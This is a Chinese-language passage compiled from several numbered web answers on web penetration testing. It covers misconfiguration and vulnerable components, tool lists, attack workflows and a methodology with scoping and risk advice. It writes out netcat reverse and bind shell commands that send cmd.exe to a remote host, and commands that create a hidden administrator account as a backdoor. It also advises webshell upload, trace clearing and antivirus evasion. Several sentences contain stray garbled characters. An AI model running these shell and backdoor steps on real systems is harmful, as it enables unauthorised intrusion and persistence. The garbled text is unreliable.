應用程序缺少適當的安全加固,或者雲服務的許可權配置錯誤。
① 應用程序啟用或安裝了不必要的功能(例如:不必要的埠、服務、網頁、帳戶或許可權)。
② 默認帳戶的密碼仍然可用且沒有更改。
③ 錯誤處理機制向用戶披露堆棧跟蹤或其他大量錯誤信息。
④ 對於更新的系統,禁用或不安全地配置最新的安全功能。
⑤ 應用程序伺服器、應用程序框架(如:Struts、Spring、ASP.NET)、庫文件、資料庫等沒有進行相關安全配置。
滲透測試
先對應用指紋等進行信息搜集,然後針對搜集的信息,看相關應用默認配置是否有更改,是否有加固過;埠開放情況,是否開放了多餘的埠;
風險評級:中風險
安全建議
搭建最小化平台,該平台不包含任何不必要的功能、組件、文檔和示例。移除或不安裝不適用的功能和框架。在所有環境中按照標準的加固流程進行正確安全配置。
13、使用含有已知漏洞的組件
漏洞描述
使用了不再支持或者過時的組件。這包括:OS、Web伺服器、應用程序伺服器、資料庫管理系統(DBMS)、應用程序、API和所有的組件、運行環境和庫。
滲透測試
① 根據前期信息搜集的信息,查看相關組件的版本,看是否使用了不在支持或者過時的組件。一般來說,信息搜集,可通過http返回頭、相關錯誤信息、應用指紋、埠探測(Nmap)等手段搜集。
② Nmap等工具也可以用於獲取操作系統版本信息
③ 通過CVE,CNVD等平台可以獲取當前組件版本是否存在漏洞
風險評級:按照存在漏洞的組件的安全風險值判定當前風險。
安全建議
① 移除不使用的依賴、不需要的功能、組件、文件和文檔;
② 僅從官方渠道安全的獲取組件(盡量保證是最新版本),並使用簽名機制來降低組件被篡改或加入惡意漏洞的風險;
③ 監控那些不再維護或者不發布安全補丁的庫和組件。如果不能打補丁,可以考慮部署虛擬補丁來監控、檢測或保護。
詳細學習可參考:
⑥ web滲透是什麼
Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標網站的源碼等信息的情況下對其滲透,相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。
Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權,內網滲透,留後門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然後注入得到後台管理員賬號密碼,登錄後台,上傳小馬,再通過小馬上傳大馬,提權,內網轉發,進行內網滲透,掃描內網c段存活主機及開放埠,看其主機有無可利用漏洞(nessus)埠(nmap)對應服務及可能存在的漏洞,對其利用(msf)拿下內網,留下後門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到資料庫並可執行cmd命令,可繼續上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術可以不高,思路一定得騷。
信息收集
信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。
DNS域名信息:通過url獲取其真實ip,子域名(Layer子域名爆破機),旁站(K8旁站,御劍1.5),c段,網站負責人及其信息(whois查詢)
整站信息:伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;
網站常見搭配為:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目錄信息(御劍,dirbust)
開放埠信息(nmp)
漏洞掃描
利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描,看其是否有可利用漏洞。
常見漏洞:
SQL注入
XSS跨站腳本
CSRF跨站請求偽造
XXE(XML外部實體注入)漏洞
SSRF(服務端請求偽造)漏洞
文件包含漏洞
文件上傳漏洞
文件解析漏洞
遠程代碼執行漏洞
CORS跨域資源共享漏洞
越權訪問漏洞
目錄遍歷漏洞和任意文件讀取/下載漏洞
漏洞利用
用工具也好什麼也好對相應漏洞進行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
後台密碼爆破(burp)
埠爆破(hydra)
提權
獲得shell之後我們許可權可能很低,因此要對自己提權,可以根據伺服器版本對應的exp進行提權,對於Windows系統也可看其補丁對應漏洞的exp進行提權
內網滲透
首先進行埠轉發可用nc
nc使用方法:
反向連接
在公網主機上進行監聽:
nc-lvp 4444
在內網主機上執行:
nc-e cmd.exe 公網主機ip4444
成功之後即可得到一個內網主機shell
正向連接
遠程主機上執行:
nc-l -p 4444 -t -e cmd.exe
本地主機上執行:
nc-vv 遠程主機ip4444
成功後,本地主機即可遠程主機的一個shell
然後就是對內網進行滲透了,可以用主機漏洞掃描工具(nessus,x-scan等)進行掃描看是否有可用漏洞,可用msf進行利用,或者用nmap掃描存活主機及開放埠,可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門
留後門
對於網站上傳一句話木馬,留下後門
對於windows用戶可用hideadmin創建一個超級隱藏賬戶
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實現控製版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。
⑦ 如何進行web滲透測試
Web應用的滲透測試流程主要分為3個階段:信息收集、漏洞發現、漏洞利用。
一、信息收集
在信息收集階段,我們需要盡量多的收集關於目標web應用的各種信息,比如:腳本語言的類型、伺服器的類型、目錄的結構、使用的開源軟體、資料庫類型、所有鏈接頁面,用到的框架等
二、漏洞發現
在這個階段我們在做測試的時候要對症下葯,不能盲目的去掃描,首先要確定目標應用是否使用的是公開的開源軟體,開源框架等、然後在做深一度的漏洞掃描。
三、漏洞利用
針對不同的弱點有不同的漏洞利用方式,需要的知識點也比較多。一般這個階段包括兩種方式,一種是手工測試,一種是工具測試。
手工測試
手工測試是通過客戶端或伺服器訪問目標服務,手工向目標程序發送特殊的數據,包括有效的和無效的輸入,觀察目標的狀態、對各種輸入的反應,根據結果來發現問題的漏洞檢測技術。
工具測試
網路上有很多好用的免費利用工具,比如針對sql注入的sqlmap、針對軟體漏洞的matesploit等。
⑧ 滲透檢測步驟
滲透測試是什麼?
滲透測試,是為了證明網路防禦按照預期計劃正常運行而提供的一種機制。不妨假設,你的公改兄老司定期更新安全策略和程序,時時給系統打補丁,並採用塵肆了漏洞掃描器等工具,以確保所有補丁都已打上。如果你早已做到了這些,為什麼還要請外方進行審查或滲透測試呢?因為,滲透測試能夠獨立地檢查你的網路策略,換句話說,就是給你的系統安了一雙眼睛。而且,進行這類測試的,都是尋找網路系統安全漏洞的專業人士。
滲透測試流程是怎樣的?
步驟一:明確目標
1、確定范圍:規劃測試目標的范圍,以至於不會出現越界的情況。
2、確定規則:明確說明滲透測試的程度、時間等。
3、確定需求:滲透測試的方向是web應用的漏洞?業務邏輯漏洞?人員許可權管理漏洞?還是其他,以免出現越界測試。
步驟二:信息收集
1、基礎信息:IP、網段、域名、埠
2、系統信息:操作系統版本
3、應用信息:各埠的應用,例如web應用、郵件應用等等
4、版本信息:所有探測到的東西的版本
5、人員信息:域名注冊人員信息,web應用中網站發帖人的id、管理員姓名等
6、防護信息:試著看能否探測到防護的設備,像有沒有CDN、waf等
步驟三:漏洞探索
利用上一步中列出的各種系統、應用等等,使用響應的漏洞
方法:
1、漏掃、awvs、IBM appscan等核升
2、結合漏洞去exploit-db等位置找利用
3、在網上尋找驗證poc
步驟四:漏洞驗證
將上述中發現有可能可以成功利用的全部漏洞都驗證一遍,結合實際情況搭建模擬環境進行實驗,成功後再引用於目標。
自動化驗證:結合自動化掃描工具提供的結果
手工驗證:根據公開的資源進行手工驗證
試驗驗證:自己搭建模擬環境進行驗證
登錄猜解:可以嘗試一下登錄口的賬號密碼的發現
業務邏輯漏洞:如發現業務邏輯漏洞,進行驗證
步驟五:信息分析
為下一步實施滲透做准備
1、精準打擊:准備好上一步探測到的漏洞的exp,用來精準打擊
2、繞過防禦機制:是否有防火牆等設備,如何繞過
3、定製攻擊路徑:最佳工具路徑,根據薄弱入口,高內網許可權位置,最終目標
4、繞過檢測機制:是否有檢測機制,流量監控,殺毒軟體 ,惡意代碼檢測等(免殺)
5、攻擊代碼:經過試驗得來的代碼,包括不限於XSS代碼,SQL注入語句等
步驟六:獲取所需
1、實施攻擊,根據前幾步的結果,進行攻擊
2、獲取內部信息:基礎設施(網路連接,vpn,路由,拓撲等)
3、進一步滲透:內網入侵,敏感目標
4、持續性存在:一般我們對客戶做滲透不需要,但真實的環境中,我們會做rookit、後門,添加管理賬號。駐扎手法。
5、清理痕跡:清理相關日誌(訪問,操作),上傳文件等
步驟七:信息整理
1、整理滲透工具:整理滲透過程中用到的代碼,poc、exp等
2、整理收集信息:整理滲透過程中收集到的一切信息
3、整理漏洞信息:整理滲透過程中遇到的各種漏洞,各種脆弱的位置信息
(為了形成報告,形成測試結果使用)
步驟八:形成報告
1、按需整理:按照之前第一步跟客戶確定好的范圍和需求來整理資料,並將資料形成報告
2、補充介紹:要對漏洞成因、驗證過程和帶來的危害進行分析
3、修補建議:當然要對所有產生的問題提出合理高效安全的解決辦法
⑨ 如何對網站進行滲透測試和漏洞掃描
滲透測試在未得到被測試方授權之前依據某些地區法律規定是違法行為。這里我們提供的所有滲透測試方法均為(假設為)合法的評估服務,也就是通常所說的道德黑客行為(Ethicalhacking),因此我們這里的所有讀者應當都是EthicalHackers,如果您還不是,那麼我希望您到過這里後會成為他們中的一員;)
這里,我還想對大家說一些話:滲透測試重在實踐,您需要一顆永不言敗的心和一個有著活躍思維的大腦。不是說您將這一份文檔COPY到您網站上或者保存到本地電腦您就會了,即使您將它列印出來沾點辣椒醬吃了也不行,您一定要根據文檔一步一步練習才行。而且測試重在用腦,千萬激塌別拿上一改輪兩個本文中提到的工具一陣亂搞,我敢保證:互聯網的安全不為因為這樣而更安全。祝您好運。。。
一、簡介
什麼叫滲透測試?
滲透測試最簡單直接的解釋就是:完全站在攻擊者角度對目標系統進行的安全性測試過程。
進行滲透測試的目的?
了解當前系統的安全性、了解攻擊者可能利用的途徑。它能夠讓管理人員非常直觀的了解當前系統所面臨的問題。為什麼說叫直觀呢?就像Mitnick書裡面提到的那樣,安全管理(在這里我們改一下,改成安全評估工作)需要做到面面俱到才算成功,而一位黑客(滲透測試)只要能通過一點進入系統進行破壞,他就算核鉛信是很成功的了。
滲透測試是否等同於風險評估?
不是,你可以暫時理解成滲透測試屬於風險評估的一部分。事實上,風險評估遠比滲透測試復雜的多,它除滲透測試外還要加上資產識別,風險分析,除此之外,也還包括了人工審查以及後期的優化部分(可選)。
已經進行了安全審查,還需要滲透測試嗎?
如果我對您說:嘿,中國的現有太空理論技術通過計算機演算已經能夠證明中國完全有能力實現宇航員太空漫步了,沒必要再發射神8了。您能接受嗎?
滲透測試是否就是黑盒測試?
否,很多技術人員對這個問題都存在這個錯誤的理解。滲透測試不只是要模擬外部黑客的入侵,同時,防止內部人員的有意識(無意識)攻擊也是很有必要的。這時,安全測試人員可以被告之包括代碼片段來內的有關於系統的一些信息。這時,它就滿足灰盒甚至白盒測試。
滲透測試涉及哪些內容?
技術層面主要包括網路設備,主機,資料庫,應用系統。另外可以考慮加入社會工程學(入侵的藝術/THEARTOFINTRUSION)。
滲透測試有哪些不足之處?
主要是投入高,風險高。而且必須是專業的EthicalHackers才能相信輸出的最終結果。
你說的那麼好,為什麼滲透測試工作在中國開展的不是很火熱呢?
我只能說:會的,一定會的。滲透測試的關鍵在於沒法證明你的測試結果就是完善的。用戶不知道花了錢證明了系統有問題以後,自己的安全等級到了一個什麼程序。但是很顯然,用戶是相信一個專業且經驗豐富的安全團隊的,這個在中國問題比較嚴重。在我接觸了一些大型的安全公司進行的一些滲透測試過程來看,測試人員的水平是對不住開的那些價格的,而且從測試過程到結果報表上來看也是不負責的。我估計在三年以後,這種情況會有所改觀,到時一方面安全人員的技術力量有很大程度的改觀,另一方面各企業對滲透測試會有一個比較深刻的理解,也會將其做為一種IT審計的方式加入到開發流程中去。滲透測試的專業化、商業化會越來越成熟。
二、制定實施方案
實施方案應當由測試方與客戶之間進行溝通協商。一開始測試方提供一份簡單的問卷調查了解客戶對測試的基本接收情況。內容包括但不限於如下:
目標系統介紹、重點保護對象及特性。
是否允許數據破壞?
是否允許阻斷業務正常運行?
測試之前是否應當知會相關部門介面人?
接入方式?外網和內網?
測試是發現問題就算成功,還是盡可能的發現多的問題?
滲透過程是否需要考慮社會工程?
。。。
在得到客戶反饋後,由測試方書寫實施方案初稿並提交給客戶,由客戶進行審核。在審核完成後,客戶應當對測試方進行書面委託授權。這里,兩部分文檔分別應當包含如下內容:
實施方案部分:
...
書面委託授權部分:
...
三、具體操作過程
1、信息收集過程
網路信息收集:
在這一部還不會直接對被測目標進行掃描,應當先從網路上搜索一些相關信息,包括GoogleHacking,Whois查詢,DNS等信息(如果考慮進行社會工程學的話,這里還可以相應從郵件列表/新聞組中獲取目標系統中一些邊緣信息如內部員工帳號組成,身份識別方式,郵件聯系地址等)。
1.使用whois查詢目標域名的DNS伺服器
2.nslookup
>settype=all
><domain>
>server<nsserver>
>setq=all
>ls-d<domain>
涉及的工具包括:Google,Demon,webhosting.info,Apollo,Athena,GHDB.XML,netcraft,seologs除此之外,我想特別提醒一下使用Googlebot/2.1繞過一些文件的獲取限制。
Googlehacking中常用的一些語法描述
1.搜索指定站點關鍵字site。你可以搜索具體的站點如site:來搜索中國政府部門的網站。
2.搜索在URL網址中的關鍵字inurl。比如你想搜索帶參數的站點,你可以嘗試用inurl:asp?id=
3.搜索在網頁標題中的關鍵字intitle。如果你想搜索一些登陸後台,你可以嘗試使用intitle:"adminlogin"
目標系統信息收集:
通過上面一步,我們應當可以簡單的描繪出目標系統的網路結構,如公司網路所在區域,子公司IP地址分布,VPN接入地址等。這里特別要注意一些比較偏門的HOST名稱地址,如一些backup開頭或者temp開關的域名很可能就是一台備份伺服器,其安全性很可能做的不夠。
從獲取的地址列表中進行系統判斷,了解其組織架構及操作系統使用情況。最常用的方法的是目標所有IP網段掃描。
埠/服務信息收集:
這一部分已經可以開始直接的掃描操作,涉及的工具包括:nmap,thc-amap
1.我最常使用的參數
nmap-sS-p1-10000-n-P0-oXfilename.xml--open-T5<ipaddress>
應用信息收集:httprint,SIPSCAN,smap
這里有必要將SNMP拿出來單獨說一下,因為目前許多運營商、大型企業內部網路的維護台通過SNMP進行數據傳輸,大部分情況是使用了默認口令的,撐死改了private口令。這樣,攻擊者可以通過它收集到很多有效信息。snmp-gui,HiliSoftMIBBrowser,mibsearch,net-snmp都是一些很好的資源。
2、漏洞掃描
這一步主要針對具體系統目標進行。如通過第一步的信息收集,已經得到了目標系統的IP地址分布及對應的域名,並且我們已經通過一些分析過濾出少許的幾個攻擊目標,這時,我們就可以針對它們進行有針對性的漏洞掃描。這里有幾個方面可以進行:
針對系統層面的工具有:ISS,Nessus,SSS,Retina,天鏡,極光
針對WEB應用層面的工具有:AppScan,,WebInspect,Nstalker
針對資料庫的工具有:ShadowDatabaseScanner,NGSSQuirreL
針對VOIP方面的工具有:PROTOSc07sip(在測試中直接用這個工具轟等於找死)以及c07h225,Sivus,sipsak等。
事實上,每個滲透測試團隊或多或少都會有自己的測試工具包,在漏洞掃描這一塊針對具體應用的工具也比較個性化。
3、漏洞利用
有時候,通過服務/應用掃描後,我們可以跳過漏洞掃描部分,直接到漏洞利用。因為很多情況下我們根據目標服務/應用的版本就可以到一些安全網站上獲取針對該目標系統的漏洞利用代碼,如milw0rm,securityfocus,packetstormsecurity等網站,上面都對應有搜索模塊。實在沒有,我們也可以嘗試在GOOGLE上搜索「應用名稱exploit」、「應用名稱vulnerability」等關鍵字。
當然,大部分情況下你都可以不這么麻煩,網路中有一些工具可供我們使用,最著名的當屬metasploit了,它是一個開源免費的漏洞利用攻擊平台。其他的多說無益,您就看它從榜上無名到沖進前五(top100)這一點來說,也能大概了解到它的威力了。除此之外,如果您(您們公司)有足夠的moeny用於購買商用軟體的話,COREIMPACT是相當值得考慮的,雖然說價格很高,但是它卻是被業界公認在滲透測試方面的泰山北斗,基本上測試全自動。如果您覺得還是接受不了,那麼您可以去購買CANVAS,據說有不少0DAY,不過它跟metasploit一樣,是需要手動進行測試的。最後還有一個需要提及一下的Exploitation_Framework,它相當於一個漏洞利用代碼管理工具,方便進行不同語言,不同平台的利用代碼收集,把它也放在這里是因為它本身也維護了一個exploit庫,大家參考著也能使用。
上面提到的是針對系統進行的,在針對WEB方面,注入工具有NBSI,OWASPSQLiX,SQLPowerInjector,sqlDumper,sqlninja,sqlmap,Sqlbftools,priamos,ISR-sqlget***等等。
在針對資料庫方面的工具有:
資料庫工具列表Oracle(1521埠):目前主要存在以下方面的安全問題:
1、TNS監聽程序攻擊(sid信息泄露,停止服務等)
2、默認賬號(defaultpasswordlist)
3、SQLINJECTION(這個與傳統的意思還不太一樣)
4、緩沖區溢出,現在比較少了。thc-orakel,tnscmd,oscanner,Getsids,TNSLSNR,lsnrcheck,OAT,Checkpwd,orabfMSSqlServer(1433、1434埠)Mysql(3306埠)DB2(523、50000、50001、50002、50003埠)db2utilsInformix(1526、1528埠)
在針對Web伺服器方面的工具有:
WEB伺服器工具列表IISIISPUTSCANNERTomcat想起/admin和/manager管理目錄了嗎?另外,目錄列表也是Tomcat伺服器中最常見的問題。比如5.*版本中的
在滲透測試過程中,一旦有機會接觸一些OFFICE文檔,且被加了密的話,那麼,rixler是您馬上要去的地方,他們提供的OFFICE密碼套件能在瞬間打開OFFICE文檔(2007中我沒有試過,大家有機會測試的話請給我發一份測試結果說明,謝謝)。看來微軟有理由來個補丁什麼的了。對於企業來說,您可以考慮使用鐵卷或者RMS了。
6、日誌清除
Itisnotnecessaryactually.
7、進一步滲透
攻入了DMZ區一般情況下我們也不會獲取多少用價值的信息。為了進一步鞏固戰果,我們需要進行進一步的內網滲透。到這一步就真的算是無所不用其及。最常用且最有效的方式就是Sniff抓包(可以加上ARP欺騙)。當然,最簡單的你可以翻翻已入侵機器上的一些文件,很可能就包含了你需要的一些連接帳號。比如說你入侵了一台Web伺服器,那麼絕大部分情況下你可以在頁面的代碼或者某個配置文件中找到連接資料庫的帳號。你也可以打開一些日誌文件看一看。
除此之外,你可以直接回到第二步漏洞掃描來進行。
四、生成報告
報告中應當包含:
薄弱點列表清單(按照嚴重等級排序)
薄弱點詳細描述(利用方法)
解決方法建議
參與人員/測試時間/內網/外網
五、測試過程中的風險及規避
在測試過程中無可避免的可能會發生很多可預見和不可預見的風險,測試方必須提供規避措施以免對系統造成重大的影響。以下一些可供參考:
1.不執行任何可能引起業務中斷的攻擊(包括資源耗竭型DoS,畸形報文攻擊,數據破壞)。
2.測試驗證時間放在業務量最小的時間進行。
3.測試執行前確保相關數據進行備份。
4.所有測試在執行前和維護人員進行溝通確認。
5.在測試過程中出現異常情況時立即停止測試並及時恢復系統。
6.對原始業務系統進行一個完全的鏡像環境,在鏡像環境上進行滲透測試。